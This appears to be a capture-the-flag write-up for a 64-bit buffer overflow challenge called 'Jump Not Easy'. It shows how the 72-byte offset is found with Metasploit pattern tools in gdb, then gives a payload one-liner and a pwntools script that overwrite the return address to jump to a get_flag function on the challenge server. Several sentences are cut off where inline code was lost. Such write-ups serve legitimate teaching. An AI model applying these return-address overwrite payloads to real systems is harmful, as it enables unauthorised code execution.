Jump Not Easy
This is a classic buffer overflow challenge. We don't have the source code so we'll disassemble the binary using radare2.
We can see that the main function calls the
Notice that the jump function calls
gets, which is vulnerable to buffer overflows (it does not check the received buffer length).
We can now use
gdbto debug the binary. Using
msf-pattern_create -l 1000, we create a pattern that we will send to the binary.
Set a breakpoint at 0x00401304, right after the
gef > break *0x00401304
Breakpoint 1 at 0x401304
After supplying our payload through the
getscall, our breakpoint is triggered.
At this point we can analyse the stack frame after receiving input, but before returning from the
saved ripvalue is the return address stored on the stack. We have successfully overwritten it.
msf-pattern_offset -q 0x6341356341346341
[*] Exact match at offset 72
Now we know that the RIP offset is 72.
There is also a
0x0040125d. Perhaps we can redirect the program execution here, and get our flag.
Let's test our hypothesis. We generate our payload file:
python -c 'print "A" * 72 + "\x5d\x12\x40\x00"' > ipt.txt, then pass it to the binary in gdb.
gef > run < ipt.txt
Here we have overwritten the RIP to the address of
get_flag. Continuing from the breakpoint, we get "Error when opening the file!". This means that the
get_flagfunction was indeed executed!
Now we can obtain the flag from the server.
from pwn import *
ret = 0x0040125d
offset = 72
payload = b""
payload += b"A" * offset
payload += p32(ret)
conn = remote('chals5.umdctf.io', 7003)
print(conn.recvuntil("Where do you want to go?\n"))
conn.send(payload + b"\n")